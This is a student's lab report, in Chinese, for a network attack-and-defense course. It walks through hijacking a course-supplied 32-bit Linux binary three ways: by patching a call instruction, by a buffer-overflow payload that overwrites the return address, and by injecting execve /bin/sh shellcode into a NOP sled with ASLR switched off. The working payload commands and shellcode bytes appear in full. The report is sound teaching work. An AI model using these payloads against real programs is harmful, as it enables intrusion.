20242418 2026-2027-1《网络与系统攻防技术》实验一实验报告

20242418 2026-2027-1《网络与系统攻防技术》实验一实验报告

1. 基础知识

本次实验的核心是理解一个 32 位 Linux ELF 程序的执行流程,并通过三种方式让原本不会被执行的 getShell 代码片段运行起来。为了避免只会照着命令敲,我先把本次实验用到的基础知识整理如下。

1.1 常见汇编指令及机器码

指令

常见机器码

我对它的理解

NOP

90

空指令,CPU 执行它但不做实际操作。shellcode 注入中常用 NOP 滑道提高容错。

JNE

75

条件跳转,不相等时跳转。

JE

74

条件跳转,相等时跳转。

JMP

EB / E9 / FF / EA

无条件跳转。短跳转常见 EB,近跳转常见 E9。

CMP

依操作数而定

比较指令,类似做减法但不保存结果,只影响标志位,后续 JE/JNE 根据标志位决定是否跳转。

1.2 反汇编、十六进制编辑和小端序

我使用 objdump -d 查看 pwn 文件的汇编形式。反汇编后每行一般包含三部分:左边是虚拟地址,中间是机器码字节,右边是对应的汇编指令。例如 main 中的 call 指令可以直接看到它调用的是 foo 还是 getShell。

我使用 xxd 查看或生成十六进制内容。xxd 输出左边的 00000000、00000010 等是“文件偏移量”,不是程序运行时的内存地址;中间列是十六进制字节;右边列是可打印字符对应的 ASCII 显示。

本实验多次用到“小端序”。例如 getShell 地址 0x0804847d 写入文件或 payload 时不能写成 08 04 84 7d,而要按低位在前写成 7d 84 04 08。

1.3 call 相对偏移与返回地址覆盖

x86 中 call rel32 的机器码格式可以理解为 e8 + 4 字节相对偏移。CPU 执行 call 时,会把下一条指令地址压栈作为返回地址,然后跳转到目标函数。因此,第一部分我改的是 call 的相对偏移;第二、三部分我改的是函数返回时栈上的返回地址。

原 main 调用 foo: e8 d7 ff ff ff
目标改为 getShell:e8 c3 ff ff ff
计算依据:0x0804847d - 0x080484ba = -0x3d = 0xffffffc3
小端序:c3 ff ff ff

1.4 BOF、shellcode、execstack、ASLR 和 gdb

BOF 是 Buffer Overflow,即缓冲区溢出。我的理解是程序给输入预留的缓冲区有限,但输入函数没有严格限制长度,过长输入会覆盖栈上后续内容。如果覆盖到返回地址,就能控制函数返回后跳到哪里。

shellcode 是一段能直接被 CPU 执行的机器码。本次实验中,我把 shellcode 放进栈里,再把返回地址改到 NOP 滑道附近,目标是让程序执行 /bin/sh。execstack 用来设置 ELF 文件的栈是否可执行;ASLR 是地址随机化机制,会让栈地址变化。gdb 则用来观察程序运行到 ret 前的栈地址。

2. 实验内容

本次实验对象是一个名为 pwn1 的 Linux 可执行文件。我把它重命名为包含学号的 pwn20242418,并在不同阶段复制出 test、test2、test3 三个文件,分别对应三种实验方法。

• 第一部分:手工修改可执行文件的机器码,把 main 中调用 foo 的 call 指令改为调用 getShell。

• 第二部分:不修改程序文件,通过构造输入 payload 覆盖 foo 的返回地址,让它返回到 getShell。

• 第三部分:把 shellcode 注入到栈上,通过返回地址跳入 NOP 滑道并执行 shellcode。

3. 实验过程

3.1 准备文件和确认关键信息

截图中主机名显示为 weiqihang。后续三个实验文件的用途如下,我在此做一下说明:

pwn20242418

原始实验文件

pwn20242418test

第一部分:直接修改机器码

pwn20242418test2

第二部分:BOF 覆盖返回地址

pwn20242418test3

第三部分:shellcode 注入

3.2 手工修改机器指令,改变程序执行流程

这一部分我学习到直接修改可执行文件,让 main 函数不再调用 foo,而是调用 getShell。通过 objdump 反汇编,确定 getShell 地址是 0x0804847d,foo 地址是 0x08048491,main 中 call 指令的位置是 0x080484b5,call 后下一条指令地址是 0x080484ba。

cp pwn20242418 pwn20242418test
xxd -g 1 pwn20242418 > pwn20242418.hex
# 在十六进制文本中把 e8 d7 ff ff ff 修改为 e8 c3 ff ff ff
xxd -r pwn20242418.hex pwn20242418test
chmod +x pwn20242418test
objdump -d pwn20242418test | grep -A10 "<main>"

其实我一开始对 c3 的理解有些混乱,因为单独的 c3 是 ret 指令,但这里的 c3 不是单独指令,而是 call 指令 e8 后面的相对偏移最低字节。保留 e8 不变、只把 d7 改成 c3 后,main 中 call 的目标就变成了 getShell。

图 1 反汇编确认 main 中 call 已指向 getShell

随后我运行修改后的文件,输入 ls 能正常列出目录内容,说明程序已经跳转到 getShell 并获得了 shell。

图 2 运行 pwn20242418test 后执行 ls 验证成功

3.3 构造 BOF payload,覆盖返回地址触发 getShell

第二部分我没有修改程序本身,而是利用 foo 函数读取输入时的缓冲区溢出。我得让输入的前 32 字节作为填充,后 4 字节覆盖返回地址为 getShell 地址。

cp pwn20242418 pwn20242418test2
chmod +x pwn20242418test2
python3 -c 'import sys; sys.stdout.buffer.write(b"1"*8 + b"2"*8 + b"3"*8 + b"4"*8 + b"\x7d\x84\x04\x08")' > input
xxd input

这里 7d 84 04 08 是 0x0804847d 的小端序写法。注意到xxd 结果显示 00000020 位置开始就是 7d 84 04 08,说明前面正好有 32 字节填充,后面接上了目标返回地址。

图 3 查看 input,确认 32 字节填充后接 getShell 地址

(cat input; cat) | ./pwn20242418test2

这条命令中,cat input 先把 payload 发给程序,后面的 cat 用来继续保持交互,管道符 | 则把左边的输出作为右边程序的输入。成功后我输入 echo success、pwd、whoami、ls 等命令进行验证。

图 4 BOF 攻击后能执行系统命令,说明已触发 getShell

3.4 注入 shellcode 并执行

第三部分比前两部分更复杂,因为这次不是跳到程序已有的 getShell,而是把我刚才构造的 shellcode 放到栈中,再让程序返回到栈上执行这段机器码。

3.4.1 复制文件并检查环境

cp pwn20242418 pwn20242418test3
chmod +x pwn20242418test3
file pwn20242418test3
which gdb
which execstack
cat /proc/sys/kernel/randomize_va_space

检查结果显示 pwn20242418test3 是 32-bit ELF 文件,gdb 已安装,execstack 一开始不存在,ASLR 状态为 2,说明地址随机化处于开启状态。

图 5 检查 test3 文件类型、gdb、execstack 和 ASLR 状态

3.4.2 安装 execstack 并设置栈可执行

我先尝试使用 apt 安装 execstack,但系统提示 Unable to locate package execstack。这说明当前 Kali 软件源中没有直接叫 execstack 的包。

图 6 apt 无法直接定位 execstack 软件包

为解决这个问题,我改用 wget 下载 Debian archive 中的 deb 包,再用 dpkg 安装,最后用 execstack --version 验证安装成功。

wget http://archive.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
execstack --version

图 7 手动安装 execstack 并验证版本

execstack -s pwn20242418test3
execstack -q pwn20242418test3
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

execstack -q 输出 X pwn20242418test3,说明栈已设置为可执行;randomize_va_space 输出 0,说明我已临时关闭 ASLR。

图 8 设置栈可执行并关闭 ASLR

3.4.3 构造 shellcode payload

我先构造一个用于探测地址的 input_shellcode,结构是 32 个 A、临时返回地址 01 02 03 04、NOP 滑道和 shellcode。这里的 01 02 03 04 只是为了在 gdb 中更容易找到返回地址位置。

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x01\x02\x03\x04" + b"\x90"*16 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")' > input_shellcode
xxd input_shellcode

图 9 input_shellcode 的结构:A 填充、占位地址、NOP 和 shellcode

3.4.4 先用 gdb 直接定位,再发现普通运行时地址不稳定

先进入 gdb,反汇编 foo 函数,找到 ret 指令地址为 0x080484ae,并在 ret 处设置断点。随后用 run < input_shellcode 运行,查看 esp 和栈内容。

gdb ./pwn20242418test3
(gdb) disassemble foo
(gdb) break *0x080484ae
(gdb) run < input_shellcode
(gdb) info r esp
(gdb) x/24wx $esp

图 10 gdb 中反汇编 foo,确认 ret 地址 0x080484ae

图 11 第一次 gdb 定位到 esp=0xffffcf3c

我根据第一次 gdb 结果把返回地址写为 0xffffcf40,但是普通终端运行时出现 segmentation fault。后来我又扩大 NOP 滑道到 200 字节,仍然失败。这说明问题并不只是 NOP 太短,更可能是 gdb 直接运行和普通管道运行时的栈地址存在偏移。

图 12 扩大 NOP 滑道后仍然 segmentation fault

3.4.5 改用 gdb attach 到真实进程重新定位地址

为了解决地址偏移问题,通过询问ai,我了解到可以改成两个终端配合:终端 1 先真实运行程序并挂起,终端 2 用 ps 找到进程号,再用 gdb attach 到这个真实运行的进程。

# 终端 1
(cat input_shellcode_probe; cat) | ./pwn20242418test3

# 终端 2
ps -ef | grep pwn20242418test3
gdb ./pwn20242418test3
(gdb) attach 22599
(gdb) break *0x080484ae
(gdb) continue

图 13 使用 ps 找到真实运行的 pwn20242418test3 进程号 22599

图 14 attach 后在 ret 处查看真实栈内容

这次 info r esp 显示 esp=0xffffcf5c,并且 x/32wx $esp 显示 0xffffcf5c 处是 0x04030201,后面紧跟大量 0x90909090。因此我判断 0xffffcf60 是 NOP 滑道起点,最终返回地址应写为 0xffffcf60,小端序为 60 cf ff ff。

3.4.6 生成最终 payload 并验证成功

python3 -c 'import sys; sys.stdout.buffer.write(b"A"*32 + b"\x60\xcf\xff\xff" + b"\x90"*200 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + b"\n")' > input_shellcode_final
xxd input_shellcode_final | head
(cat input_shellcode_final; cat) | ./pwn20242418test3

最终执行后,我输入 echo shellcode_success、pwd、whoami、ls,都得到了正常输出,说明 shellcode 成功执行,获得了 shell。

图 15 最终 shellcode 注入成功并能执行系统命令

4. 问题及解决方案

我觉得这次实验最有价值的地方并不是只贴最终成功截图,而是把中间真正卡住的地方写清楚。很多问题看起来是小错误,但它们会直接影响我对“文件内容、输入内容、运行时内存”三者关系的理解。

4.1 对 c3 的含义理解混乱:不是把整条指令改成 ret

误以为是把指令整体改成 c3。后来我重新回到 objdump 结果和 call 指令格式,才意识到这里的 c3 是 e8 后面四字节相对偏移的一部分,不是单独的 ret 指令。也就是说,要保留 e8,只把原来的 d7 改成 c3,最终形成 e8 c3 ff ff ff。

图 16 我在十六进制文本中定位 e8 d7 ff ff ff 并准备替换

这个问题让我第一次真正理解:机器码不是只看一个字节,而要结合指令格式一起看。单独的 c3 是 ret,但 e8 c3 ff ff ff 仍然是一条 call 指令。

4.2 vi 直接打开二进制文件,误进 INSERT 模式

我最开始直接用 vi 打开可执行文件,屏幕出现大量乱码。由于它本来就是二进制文件,这种显示是正常的,但我当时误进了 INSERT 模式,担心把错误内容写进文件。先按 Esc,再用 :q! 不保存强制退出。为了减少误操作,我改成先用 xxd -g 1 导出十六进制文本,再修改文本,最后用 xxd -r 转回二进制。

图 17 vi 中误进 INSERT 模式,我选择不保存退出

这次经历让我认识到:对二进制文件进行手工修改时,最怕的是在不确定的情况下保存。后面我形成了一个习惯:只要不确定是否改对,先 :q! 退出,再重新从原始文件复制一份干净文件。

图 18 一次错误修改后 objdump 没有显示预期的 call getShell

4.3 Python 构造 payload 时字节串写法出错

第二部分构造 BOF payload 时,我第一次把 b"\x7d..." 写错,导致 Python 报 SyntaxError。这个错误看起来只是引号问题,但它让我明白 payload 本质上是字节序列,必须严格按照 Python 字节串的语法写。

图 19 Python payload 写法错误导致 SyntaxError

我最后改成 b"\x7d\x84\x04\x08" 的形式,并用 xxd input 检查文件。只有看到 00000020 位置出现 7d 84 04 08,我才确认 payload 结构正确。

4.4 把 xxd 打成 xxx:命令名也需要认真核对

重启 Kali 后,我想查看 input 文件,却把 xxd input 打成了 xxx input,终端提示 Command not found。这个问题很小,但它提醒我:实验报告里不能只写“执行命令”,实际操作时命令名、参数和文件名都必须准确。

图 20 将 xxd 误输入为 xxx,系统提示找不到命令

我后面专门理解了 xxd 输出的三列含义:左边是文件偏移量,中间是十六进制字节,右边是 ASCII 显示。这样能判断 payload 是否按照预期排列。

4.5 apt 找不到 execstack,改用 deb 包手动安装

第三部分需要让栈可执行,所以需要安装 execstack。最开始我执行 sudo apt update 和 sudo apt install execstack,但 apt 提示 Unable to locate package execstack。我的理解是当前 Kali 软件源里没有直接提供这个包,因此不能只依赖 apt install。

图 21 sudo apt install execstack 失败,提示 Unable to locate package

我随后使用 wget 从 Debian archive 下载 execstack 的 deb 包,再使用 sudo dpkg -i 手动安装,最后用 execstack --version 验证。

图 22 手动安装 execstack 后验证版本为 execstack 1.0

4.6 shellcode 初次运行段错误,最终用 gdb attach 找到真实地址

第三部分最难的问题是 segmentation fault。我第一次在 gdb 中用 run < input_shellcode 找到 esp=0xffffcf3c,于是把返回地址设为 0xffffcf40;后来又尝试把 NOP 滑道扩大到 200 字节,但在普通终端直接运行时仍然 broken pipe 和 segmentation fault。

图 23 使用 0xffffcf40 作为返回地址后仍然段错误

图 24 扩大 NOP 滑道到 200 字节后仍然失败

这个问题让我意识到,gdb 直接 run 的环境和普通管道运行环境可能导致栈地址有偏移。于是我改用两个终端:第一个终端让程序按真实方式运行并挂起,第二个终端用 ps 找到进程号,然后 gdb attach 到真实进程。

图 25 通过 ps 找到真实运行进程号 22599

图 26 attach 后重新定位到 esp=0xffffcf5c,NOP 起点为 0xffffcf60

最终我把返回地址改为 0xffffcf60 的小端序 60 cf ff ff,再次运行后 echo shellcode_success、pwd、whoami、ls 都能正常输出。这个过程虽然绕了一些,但也让我真正理解了为什么“地址”不能靠猜,必须结合运行环境验证。

图 27 修正返回地址后 shellcode 注入成功

4.7 问题总结表

问题

我的真实现象

我最后的处理办法

c3 理解混乱

误以为 c3 是把整条指令改成 ret

重新计算 call rel32,保留 e8,只把 d7 改为 c3

vi 误操作

直接打开二进制乱码,并误进 INSERT

用 :q! 不保存退出,改用 xxd 文本方式修改

payload 写法报错

Python 出现 SyntaxError

把地址字节写成合法字节串 b"\x7d\x84\x04\x08"

xxd 打错

把 xxd 输入成 xxx

重新核对命令,用 xxd 查看 payload 结构

execstack 安装失败

apt 无法定位 execstack 包

wget 下载 deb 包,再用 dpkg -i 安装

shellcode 段错误

broken pipe 和 segmentation fault

gdb attach 真实进程,重新定位 esp 和 NOP 起点

5. 学习感悟与思考

做这个实验前,我对“getshell”的理解比较抽象,只知道它大概表示拿到一个能执行命令的 shell。做完之后,我发现它并不是一个神秘的结果,而是程序执行流被我控制后产生的具体效果:我能够输入 echo、pwd、whoami、ls 等命令,并且程序会返回 Linux 系统命令的执行结果。

第一部分让我理解了机器指令不是只能“看”,也可以按字节修改。尤其是 e8 后面的四个字节并不是随便改的,而是根据目标地址和下一条指令地址计算出来的相对偏移。第二部分让我真正看到缓冲区溢出如何覆盖返回地址:payload 文件本身不会攻击程序,只有当程序把它读入栈里时,才会改变返回地址。第三部分最难,我反复遇到 segmentation fault,最后通过 gdb attach 到真实进程才定位到正确地址,这让我认识到调试环境和真实运行环境可能存在细微差异。

这次实验中我也体会到,记录问题很重要。比如 vi 误操作、execstack 安装失败、payload 地址不准,这些错误如果只看最终结果很容易被忽略,而是要一步一步理解程序、栈、返回地址和 shellcode 的关系。后面再做类似实验时,我会先明确“当前命令改变的是文件、输入文件,还是运行时内存”,这样不容易把不同阶段混在一起。

从报告写作角度看,其实不能只贴成功截图。把失败截图、错误原因和修正思路写出来,也更能帮助我以后回忆实验过程。

6. 参考资料

• 课程实践指导:0x11_MAL_逆向与 Bof 基础,https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md

• GNU GDB 官方文档:Debugging with GDB,https://sourceware.org/gdb/current/onlinedocs/gdb

• Debian xxd 手册页:xxd(1),https://manpages.debian.org/testing/xxd/xxd.1.en.html

• OWASP:Buffer Overflow,https://community.owasp.org/vulnerabilities/Buffer_Overflow

• Debian Archive:prelink/execstack 安装包目录,https://archive.debian.org/debian-archive/debian/pool/main/p/prelink/

posted @ 2026-10-11 11:19  wonk666  阅读(14)  评论(0)    收藏  举报